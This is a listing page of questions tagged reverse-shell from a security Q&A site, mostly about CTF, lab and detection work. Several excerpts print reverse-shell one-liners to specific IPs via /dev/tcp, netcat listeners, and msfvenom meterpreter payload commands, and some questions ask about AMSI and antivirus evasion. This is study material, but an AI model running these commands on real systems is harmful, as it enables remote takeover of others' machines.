Questions tagged [reverse-shell]
The reverse-shell tag has no usage guidance.
55
questions
1
vote
0
answers
105
views
Create and bind to Metasploit reverse shell on Apple Sillicon system
I'm trying to create a persistence module for OSX systems but first I need to create a reverse shell that spawns and binds on the same computer over a LAN. I'm having trouble creating an executable ...
0
votes
1
answer
116
views
Snort rule doesn't match the content in Meterpreter session packet
I'm working on a university project and I'm trying to identify a reverse shell attack with Snort IDS.
For the attack I used Meterpreter/reverse_tcp and analyzed the packets via Wireshark for traces to ...
0
votes
0
answers
416
views
Bash reverse shell as a URL parameter value
I try to put bash reverse shell as a URL parameter. The command is as follows:
bash -i >& /dev/tcp/192.168.56.105/4444 0>&1
I have encoded the above code with URL encoding
bash%20-i%20%...
0
votes
1
answer
104
views
Auto-opening a reverse bash shell
Is it possible to use a tool like netcat to create a listener on the attacker's device with a specific command that when the target device or machine connects to this IP and port, it runs a bash shell ...
0
votes
0
answers
242
views
Running code on attacker machine from a reverse ssh exploit? (Low level theoretical explanation required)
Reverse shell. A victim server runs a malicious binary which creates an SSH connection to the attacker machine. Then the attacker machine SSH's to the victim server and runs commands (that way you ...
0
votes
0
answers
168
views
Is it possible to disable screenshare if someone's got meterpreter shell on your PC?
If hypothetically there was a meterpreter shell installed on your pc, are there security features or ways to harden a Windows laptop to prevent the hacker from using the screen share command to spy on ...
0
votes
1
answer
269
views
If a reverse shell target is an administrator does the attacker have admin?
If a reverse shell target is an administrator does the attacker have admin?
I've been trying to find the answer to this but can only find general information on how they connect to a target and not ...
1
vote
0
answers
706
views
Reverse shell not working [closed]
I'm running a DVWA container on my kali VM using:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Network interface details:
Kali docker0 int: 172.17.0.1/16
Kali eth0 int: 192.168.1.233/24
DVWA ...
0
votes
2
answers
262
views
if an attacker connects to your machine with a reverse shell can you take control of their machine using the listener they setup
If an attacker were to set up a netcat listener (nc -lvnp 4444), then is it possible to take control of their device using that listener? Whenever I look for an answer online, all I can find is how to ...
1
vote
1
answer
352
views
Why do you need to wrap bash command inside another when opening a reverse shell?
In the CSAW 2022 web challenge, called "my little website", a youtuber in this video used a vulnerability in md-to-pdf to run arbitrary js, and this is the payload used:
---js
((require[&...
0
votes
0
answers
216
views
I cannot make a reverse connection
I am playing with a Linux CTF server and came across a kind of reverse connection block. I uploaded a php webshell, gained control of www-data user and tried to make a reverse shell.
Possible a UFW ...
0
votes
0
answers
106
views
Is it possible to reverse the connection of a client connected to a Google Meeting?
I was watching some videos of Jim Browning on Youtube and I have noticed that he reverses the connection of the scammer and gets remote access to their devices.
So I was wondering about the risks that ...
2
votes
1
answer
218
views
Reverse Shell for managing unreachable remote computers
In the near future, I will have about 50 remote computers to manage. These will be physical PCs running Debian 11, distributed all over the country. They will automatically perform a special kind of ...
1
vote
1
answer
4k
views
Payload uploaded but error : "no session was created"
I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue.
I did:
nmap --> got port 8080
firefox -> 10....
1
vote
1
answer
1k
views
Reverse PHP shell exit when netcat listening
My reverse shell is exiting when i lsten it with netcat: here is netcat output:
listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal ...
1
vote
1
answer
551
views
Getting reverse shell from firewalled target
Suppose this scenario:
You are already inside a corporate network. Suppose to find out a RCE in a X service. The machine that hosts that service is behind a network-based firewall, ingress rules and ...
0
votes
0
answers
338
views
Can I inject shell in the below php code?
How I can inject a shell command in the below code?
<?php
if (isset($_POST['search'])) {
$res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
3
votes
2
answers
11k
views
Upgrading a reverse shell with stty raw -echo doesn't work
I successfully got a reverse shell:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
I tried to upgrade it in the standard way:
python -c '...
1
vote
1
answer
3k
views
Suspicious HTTP Requests in my logs [duplicate]
I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page.
As I have seen ...
1
vote
0
answers
1k
views
PHP reverse shell is not responding back [closed]
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using ...
2
votes
0
answers
568
views
Why a curl piped bash command works but not the direct command? [closed]
So im doing some pentesting in a TryHackme box (Chill Hack) and I've come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system.
This ...
2
votes
2
answers
864
views
Why is the first step for an attacker to get Reverse Shell after getting RCE?
If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell?
Even though I can run system commands, then why do I ...
3
votes
1
answer
7k
views
How do I stabilize a reverse shell in when the attack box is using powershell?
I've managed to get a version of netcat onto my Windows machine and I can run the standard:
nc -lvnp 1234
and this properly connects to the victim's machine, but it's a very fragile connection. Ctrl +...
1
vote
1
answer
338
views
Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file
When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus.
Here is my client file:
import os, socket, ...
0
votes
2
answers
308
views
UFW does not block meterpreter
I am doing some pen testing on my wordpress server. I wanted to see what would happen if the attacker were to get a hold of my username and password for wordpress.
So I used the standard exploit in ...
1
vote
1
answer
696
views
Meterpreter Session died [Bwapp]
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.
My only problem is that my ...
3
votes
1
answer
4k
views
Connect msfvenom reverse shell without metasploit
For most reverse shell here, I can simply use netcat to connect:
nc -nlvp 1234
But for reverse shell created by msfvenom, for example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
0
votes
0
answers
779
views
Access to Reverse Shell from another network
If when we have a reverse shell and get persistence and we try to access the compromised target from another network different from the one which we created the payload, is that access to the ...
0
votes
0
answers
691
views
Reverse shell from backdoor - exposing attacker? [duplicate]
If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address?
I'd guess he can't use Tor or a VPN, because packet ...
2
votes
0
answers
1k
views
Unable to start reverse shell over HTTP
I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP.
Locally over TCP:
Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
0
votes
1
answer
2k
views
LFI to RCE through User-Agent
I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
1
vote
1
answer
2k
views
Help Understanding PHP Reverse Shells
I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches.
For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
0
votes
0
answers
157
views
Why to use Reverse Shell? [duplicate]
I know that reverse shells get the victim to connect to us, but I heard that people mostly use reverse shells Why use reverse shells when hacking a network outside our local network as we have to do ...
0
votes
3
answers
336
views
Php intermediate shell [closed]
Is there any way that i can use the compromised website as the shell
What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
0
votes
0
answers
645
views
Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?
I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation.
https://www.vulnhub.com/entry/...
0
votes
1
answer
623
views
When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener
When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions.
When attempting to replicate this in metasploit I use set payload windows/...
0
votes
1
answer
124
views
How do you securely give access to a Java App interactive console (Linux/GNU)?
I have a Java App running, which prints out messages into STDOUT and also has an active interactive console (also accepts STDIN), when the server has started up.
How do I securely give access to an ...
2
votes
1
answer
3k
views
Bypass AMSI Windows 10
I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?
In a file I store the payload
$client = New-Object System.Net....
-1
votes
2
answers
594
views
Hide reverse shell window launched with HID attack
GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.
PROBLEM: the tests I did locally (...
0
votes
1
answer
8k
views
What is bindshell backdoor?
I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit.
I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
2
votes
2
answers
3k
views
Getting an Interactive Powershell Reverse Shell Using socat
I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.
Kali Listener
# socat - tcp4-listen:1338
Windows (socat.exe used from here: https://...
0
votes
0
answers
37
views
How is it possible for people to reverse a GoToAssist session? [duplicate]
I am puzzled by how people on Youtube bait scammers into connecting to their machines and end up "reversing" the connection on them. Essentially controlling the scammer's PC.
Is this done via reverse ...
1
vote
1
answer
3k
views
I set up a successful reverse shell but my commands return nothing
I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM.
My netcat listener displays the following message:
connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155
...
1
vote
0
answers
427
views
Spawned reverse shell will not run additional commands
I am new to this, so I applogise if this is a silly question!
I have created a reverse shell on a Windows box using an exploit script and the following MSFVENOM to create a reverse shell.
msfvenom -...
1
vote
1
answer
1k
views
Why is a bind shell sometimes blocked when a reverse shell is not?
I understood the difference between them. The problem is I am not sure when to use each. I mean, if a firewall will block my connection to the target when I use bind shell, why the connection will not ...
3
votes
1
answer
475
views
How to detect backdoor/root shells?
Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
1
vote
1
answer
9k
views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
0
votes
1
answer
2k
views
Executing shellcode in python format [closed]
So after running the command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py
I receive the output:
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
2
votes
0
answers
257
views
Reverse TCP - Bind to a specific port
So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
0
votes
1
answer
9k
views
Command injection — filtering bypass [closed]
I am testing a python script that provides a ping function
os.system('ping ' + command)
all of this characters are filtered
'&', ';', '-', '`' , '||', '|'
i can't use null bytes like %0A i'...